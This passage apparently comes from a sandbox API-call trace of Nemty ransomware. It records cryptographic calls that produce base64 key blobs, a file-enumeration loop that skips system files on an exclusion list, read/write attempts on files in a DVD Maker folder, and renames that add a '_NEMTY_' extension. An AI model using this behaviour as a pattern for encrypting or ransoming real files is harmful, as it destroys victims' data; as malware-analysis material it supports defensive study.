pszString="Ack6EZRfVth/6VOGowcrcVOScULVVmIiTHTHQCwgbMGjCPjql9KNJinQRagacgdk\r\nUVb6JVIuqXjDM7tBFsRz5AhHBRgU9bYEFdhucQDCfDkKb/NIZtYDk7esPUt8Bbim\r\ndL30zHT/RSWddLeZG9aY8oT3FYoFFMiXve7pyaLl5G3powVfoqhrn+S7TJODXUKz\r\nKCEREULu9S8Sk7K/6CG/BTLuBx/apCUGbqiJX+w88ziMORp86+3zREdERCP6arV8\r\nyuVHFMTJag8BwU5m5i7zuDwGEaUjX+Y/7d/2ODHQwFkqYDDdPdcZ2fxHaTWsNHrI\r\n4y7Q8V275yL7LXJaRo+9xw==\r\n", pcchString=0x653ec5c) returned 1 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0060.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0060.480] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.480] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0060.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.585] CloseHandle (hObject=0xffffffff) returned 0 [0060.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63404a8 [0060.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0060.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942d0 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.585] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.585] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2=".") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="..") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="...") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="windows") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="$RECYCLE.BIN") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="rsa") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="NTDETECT.COM") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="ntldr") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="MSDOS.SYS") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="IO.SYS") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="boot.ini") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="boot.ini") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="ntuser.dat") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="desktop.ini") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="CONFIG.SYS") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="RECYCLER") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="BOOTSECT.BAK") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="bootmgr") returned 1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="programdata") returned -1 [0060.586] lstrcmpiW (lpString1="Dot.png", lpString2="appdata") returned 1 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dot.png", lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dot.png", lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dot.png", lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0060.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dot.png", lpUsedDefaultChar=0x0) returned 7 [0060.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94248 [0060.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0060.586] Sleep (dwMilliseconds=0x5) [0060.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7c2a130, dwHighDateTime=0x1d561e7)) [0060.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7c2a130, dwHighDateTime=0x1d561e7)) [0060.588] GetLastError () returned 0x5 [0060.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.588] GetLastError () returned 0x5 [0060.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.588] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942c0 [0060.589] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942c0, pcchString=0x653ec5c | out: pszString="iVQE1YZd/4ekW9g0HjR1OQuhXEaZUtOYtP5p/k6ZQNgcSwsZvgCjul0kmi/v6cHu\r\nXcB1fNapL+dyM3B1SjPJYTw1kefad2JzuoyU61YqPeG1F4Kdc0Hh5Her2n97XWAt\r\nluC7urDvY1pt+yZXGRmvDoCXqN7h44b5KYWWr5BgECvxEy3OIIvWlroFAmDmj23C\r\nIpiGOGVoM8kIQVMUaegaQ9yMc8nC/zwIsaD7uDEUzVYcsIOYbn3Me7RFX1baaNFT\r\nLDpIm71zzb4iG4RJISlYQQdoUNj7eOKMJI3qOyYhrHbeQ+oDjlEN7R7b4fLC/Cru\r\nJwR4ZcPSoVHL+g9WyiMZxA==\r\n", pcchString=0x653ec5c) returned 1 [0060.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0060.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0060.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942c0 [0060.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0060.589] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.589] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0060.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | 